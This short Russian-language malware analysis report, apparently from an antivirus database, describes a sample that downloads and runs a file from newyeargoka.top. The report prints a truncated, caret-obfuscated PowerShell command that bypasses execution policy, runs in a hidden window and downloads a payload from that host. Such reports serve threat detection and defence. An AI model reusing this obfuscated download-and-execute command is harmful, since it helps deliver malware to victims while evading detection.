Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POW^Ershel^L.eXe -EXe^C^u^Ti^ON^PoLICY^ b^yp^A^s^S -N^oP^R^OfIl^E^ -^WiNdO^w^s^TYLe ^H^idDen ^(NEw^-O^BjE^C^T SY^sT^E^m^.nET^.W^Eb^cliE^nT).downl^O^aDFiLe('http://newyeargoka.top/...
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POW^Ershel^L.eXe -EXe^C^u^Ti^ON^PoLICY^ b^yp^A^s^S -N^oP^R^OfIl^E^ -^WiNdO^w^s^TYLe ^H^idDen ^(NEw^-O^BjE^C^T SY^sT^E^m^.nET^.W^Eb^cliE^nT).downl^O^aDFiLe('http://newyeargoka.top/...' (со скрытым окном)
